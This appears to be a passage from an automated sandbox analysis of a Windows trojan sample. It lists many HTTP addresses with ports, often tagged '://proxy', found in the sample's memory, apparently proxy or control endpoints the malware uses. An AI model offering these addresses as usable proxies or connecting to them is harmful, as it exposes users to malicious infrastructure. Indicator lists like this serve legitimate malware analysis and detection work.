Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.31.197.145:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.31.197.145:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.32.2.193:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.32.2.193:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.37.21.46:41890
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.37.21.46:41890://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.103.55:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.103.55:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.105.153:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.105.153:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.88.166.218:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.88.166.218:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.9.32.90:39433
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.9.32.90:39433://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.97.190.118:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.97.190.118:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.22.224:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.22.224:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.81.85:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.81.85:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.99.2.43:1081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.99.2.43:1081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.101.135.89:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.101.135.89:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.12.118.160
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.12.118.160://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.12.118.160:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.165.170:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.165.170:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.165.170:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FCF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.126.89.76:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.126.89.76:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.128.18.27:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.128.18.27:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.130.104.106:33333
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.130.104.106:33333://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.214:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.214:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.214:4153HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.136.84.200:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.136.84.200:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.184.67.77:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.184.67.77:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.190.192.57:61221
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.190.192.57:61221://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.222.146.125:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.222.146.125:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.222.60.138:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.222.60.138:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.223.63.26:52104
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.223.63.26:52104://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.229.210.50:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.229.210.50:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA839000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.211.79:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.211.79:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.232.103:8383
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.232.103:8383://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.232.103:8383x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.36.13.65:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.36.13.65:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.245.110:55713
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.245.110:55713://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.147:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.147:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.224:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.224:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.61:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.61:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.53.221.89:44196
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.53.221.89:44196://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.55.247.41:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.55.247.41:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.66.195.114:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.66.195.114:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.115.25:31164
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.115.25:31164://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.82.9:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.72.82.9:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.75.96.18:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.75.96.18:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.8.170.122:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.8.170.122:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.144.122:8086
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.144.122:8086://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.15.141:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.15.141:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C668F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.230.29:43573
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.230.29:43573://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.250.66:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.87.250.66:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.44.53:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.44.53:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.154:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.154:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.156:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.45.156:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.59.42:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.59.42:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2A2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.60.70:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA61A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.93.60.70:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.99.160.98:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.99.160.98:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.99.203.179:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.99.203.179:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.230.243:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.230.243:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.242.11:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.242.11:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.255.177:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.255.177:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.115.255.177:5678HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.113.118:23128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.113.118:23128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.157.114:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.157.114:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.172.154:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.172.154:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.200.87:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:2706
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:2706://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:39993
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:39993://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:53299
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:53299://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA90F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA832000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:58899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.128.82.105:58899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.157.82.187:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.157.82.187:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.159.39.153:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.159.39.153:8118://proxy
